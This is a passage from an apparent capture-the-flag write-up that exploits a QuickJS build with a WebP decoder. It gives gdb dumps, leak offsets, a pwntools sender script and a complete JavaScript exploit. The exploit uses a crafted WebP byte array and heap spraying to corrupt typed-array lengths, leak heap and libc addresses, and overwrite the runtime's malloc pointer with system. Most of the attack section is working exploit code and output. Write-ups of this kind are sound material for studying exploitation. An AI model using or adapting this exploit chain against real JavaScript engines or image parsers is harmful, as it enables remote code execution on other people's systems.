    console.log(i, z[i][0]);
}
// We can see that index 82 and 83 is the one that we overwrite the size.

Examining the output of this code reveals that z[82] and z[83] are the Float64Array instances impacted by our Array OOB Write. With these new, unrestricted primitives, we no longer need the limited OOB write.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
...
79 2261634.5098039214
80 2261634.5098039214
81 2261634.5098039214
82 4.576853666e-315
83 4.576853666e-315
84 2261634.5098039214
85 2261634.5098039214
86 2261634.5098039214
87 2261634.5098039214
...

Leaking values

Next, let’s explore what values can be leaked using z[82] in gdb. Simply execute Math.min(z[82]) and inspect the memory values.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
gef> x/100gx *(uint64_t*)$r8-0x30
0x555555e38790:	0x0000000000000000	0x0000000000000021
0x555555e387a0:	0x0000000037373737	0x0000000000000000
0x555555e387b0:	0x0000000000000000	0x0000000000000051
0x555555e387c0:	0x001f0d0000000002	0x0000555555e3e888
0x555555e387d0:	0x0000555555e38878	0x000055555581ef30
0x555555e387e0:	0x0000555555e38810	0x0000000000000000
0x555555e387f0:	0x0000555555e38840	0x0000555555e387a0
0x555555e38800:	0x0000000037373737	0x0000000000000000
0x555555e38810:	0x00007ffff7dfed00	0x00007ffff7dfed00

The data begins at 0x0000555555e387a0. Notably, data[7] reveals a heap address, and data[14] discloses a libc address.

1
2
3
4
5
// Based on observation in gdb:
// - offset 7 will give us heap leak (heap_base+0xf30)
// - offset 14 will give us libc leak
let leaked_heap = z[82][7];
let leaked_libc = z[82][14];

Having successfully leaked values with the OOB Read, we’re now positioned to achieve Remote Code Execution (RCE) utilizing the OOB Write.

Gaining RCE

To achieve Remote Code Execution (RCE), I noticed that a QuickJS object called JSRuntime stores a list of function pointers named JSMallocFunctions.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
struct JSRuntime {
    JSMallocFunctions mf;
    JSMallocState malloc_state;
    ...
}

typedef struct JSMallocFunctions {
    void *(*js_malloc)(JSMallocState *s, size_t size);
    void (*js_free)(JSMallocState *s, void *ptr);
    void *(*js_realloc)(JSMallocState *s, void *ptr, size_t size);
    size_t (*js_malloc_usable_size)(const void *ptr);
} JSMallocFunctions;

This object is located in the heap, where:

  • JSRuntime->mf is at heap_base+0x2a0.
  • JSRuntime->malloc_state is at heap_base+0x2c0.

Examining the function used to create a new ArrayBuffer (js_array_buffer_constructor3), we see it eventually calls rt->mf.js_malloc(&rt->malloc_state, size);. If we can redirect rt->mf.js_malloc to the system function and set rt->malloc_state to /readflag, we can trigger RCE.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static JSValue js_array_buffer_constructor3(JSContext *ctx,
                                            JSValueConst new_target,
                                            uint64_t len, JSClassID class_id,
                                            uint8_t *buf,
                                            JSFreeArrayBufferDataFunc *free_func,
                                            void *opaque, BOOL alloc_flag)
{
    ...
    abuf = js_malloc(ctx, sizeof(*abuf));
    ...
}

void *js_malloc(JSContext *ctx, size_t size)
{
    ...
    ptr = js_malloc_rt(ctx->rt, size);
    ...
}

void *js_malloc_rt(JSRuntime *rt, size_t size)
{
    return rt->mf.js_malloc(&rt->malloc_state, size);
}

Our goal is to perform an OOB write at these locations. We can use the write primitives of Float64Array for this purpose.

Remember that Float64Array maintains a pointer to its data. Observing the memory layout of our corrupted Float64Array (z[82] and z[83]), we see:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
gef> x/100gx *(uint64_t*)$r8-0x30
0x555555e38790:	0x0000000000000000	0x0000000000000021
0x555555e387a0:	0x0000000037373737	0x0000000000000000
0x555555e387b0:	0x0000000000000000	0x0000000000000051
0x555555e387c0:	0x001f0d0000000002	0x0000555555e3e888
0x555555e387d0:	0x0000555555e38878	0x000055555581ef30
0x555555e387e0:	0x0000555555e38810	0x0000000000000000
0x555555e387f0:	0x0000555555e38840	0x0000555555e387a0
0x555555e38800:	0x0000000037373737	0x0000000000000000
0x555555e38810:	0x00007ffff7dfed00	0x00007ffff7dfed00

By overwriting data[11] with our target address, any assignment to data[0] will modify the content at our target address.

Using this technique, we can manipulate our corrupted arrays to overwrite rt->malloc_state and rt->mf.js_malloc. Subsequent allocation of a new ArrayBuffer will then execute system("/readflag").

Here’s the complete exploit code:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
// Helper taken from https://changochen.github.io/2019-04-29-starctf-2019.html
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}
function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}

// Malicious webp
const webp = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 221, 221, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 2, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]);

// Spray to shape heap
let x = [];
let y = [];
for (let i = 0; i < 500; i++) {
    x.push(new ArrayBuffer(0x2fb0));
    y.push(new Array(1.1, 2.2));
    y[i][0] = 0x1337;
}

// Free ArrayBuffer, so that malicious webp chunk will be allocated in
// the ArrayBuffer freed chunk, leads to overwriting the Array size.
for (let i = 490; i < 500; i++) {
    x[i] = undefined;
}

// Allocate the malicious webp multiple times, with hope that it
// overwrite one of the Array size that we spray before
for (let i = 0; i < 5; i++) {
    isWebP(webp);
}

// To check which Array size that was overwritten with the webp,
// if we can access element larger than it original size (2), that means
// the Array size got overwritten.
for (let i = 490; i < 500; i++) {
    console.log(i, y[i][7]);
}
// We can see that y[492] until y[496] size was overwritten, because the result isn't undefined
// Observed that the Array data type is not a good write primitive.
// One element takes 0x10 bytes, and we can only write 4 bytes per 0x10 bytes.
// So, we need to have a stronger write and read primitive.
//
// Moving forward, we will use y[496] as our limited OOB write.

// Spray Float64Array, with hope that this will be located
// below the corrupted Array.
// We plan to overwrite this size with our limited write primitive from Array later.
let z = [];
for (let i = 0; i < 200; i++) {
    z.push(new Float64Array(0x2));
    z[i][0] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
    z[i][1] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
}

// Based on observation in gdb, overwriting these 
// offsets will overwrite:
// - FloatArray64[0] value to 0x37373737, so that later we can use this
//   value as the mark of which FloatArray64 that the size got overwritten
// - FloatArray64 size value to 0x37373737
// We want to corrupt two FloatArray64.
y[496][3] = 0x37373737; // FloatArray64[0]
y[496][9] = 0x37373737; // FloatArray64 size
y[496][28] = 0x37373737; // Other FloatArray64[0]
y[496][34] = 0x37373737; // Other FloatArray64 size
// IMPORTANT NOTES: 
// If you add console.log later, this might change the heap layout,
// so you might need to tweak the offset in here.

// To check which FloatArray64 that we overwrite just now,
// if the first element value is no longer 2261634.5098039214,
// that means we found the correct index.
for (let i = 0; i < 200; i++) {
    console.log(i, z[i][0]);
}
// We can see that index 82 and 83 is the one that we overwrite the size.

// Based on observation in gdb:
// - offset 7 will give us heap leak (heap_base+0xf30)
// - offset 14 will give us libc leak
let leaked_heap = z[82][7];
let leaked_libc = z[82][14];

// Now, if we look at JSRuntime, it stored a list of function pointer called JSMallocFunctions.
// It is stored in the heap, specifically at heap_base+0x2a0.
// When we call js_malloc, it will call js_malloc_rt, which will call
// rt->mf.js_malloc(&rt->malloc_state, size),
// which basically call the first stored function pointer.
//
// If we overwrite:
// - rt->mf.js_malloc to system
// - rt->malloc_state to /readflag
// we can easily call /readflag when we try to create new ArrayBuffer, because
// creating new ArrayBuffer will trigger js_array_buffer_constructor3, which eventually
// will call js_malloc.

// Overwrite z[82] stored pointer of buffer to heap+0x2c0 (rt->malloc_state),
// so that when we assign value to z[82][0], 
// we will overwrite heap+0x2c0 to our controlled value
rt_malloc_state = d2u(leaked_heap);
rt_malloc_state[0] -= (0xf30-0x2c0);
// Overwrite Float64Array->buffer stored pointer to rt->malloc_state
z[82][11] = u2d(rt_malloc_state[0], rt_malloc_state[1]);
// Overwrite rt->malloc_state to /readflag
z[82][0] = 1.9963908301139611e+161 // /readfla
z[82][1] = 5.1e-322 // g

// Overwrite z[83] stored pointer of buffer to heap+0x2a0 (rt->mf), 
// so that when we assign value to z[83][0],
// we will overwrite heap+0x2a0 to our controlled value
rt_mf = d2u(leaked_heap);
rt_mf[0] -= (0xf30-0x2a0);
// Overwrite Float64Array->buffer stored pointer to rt->mf
z[83][11] = u2d(rt_mf[0], rt_mf[1]);
// Overwrite rt->mf.js_malloc to system
let system = d2u(leaked_libc);
system[0] -= (0x1fed00-0x55230);
z[83][0] = u2d(system[0], system[1]);

// Create new ArrayBuffer to trigger system("/readflag")
let abuf = new ArrayBuffer(0x100);

After sending this code to the server, we can retrieve our flag.

1
2
3
4
5
6
7
from pwn import *

r = remote('5.75.200.150', 1337)
data = open('exploit.js', 'rb').read()
data += b'\n-- EOF --\n'
r.send(data)
r.interactive()

Flag: ASIS{i_hope_think_they_accept_my_proposal-fd23134fd23134}

Social Media

Follow me on twitter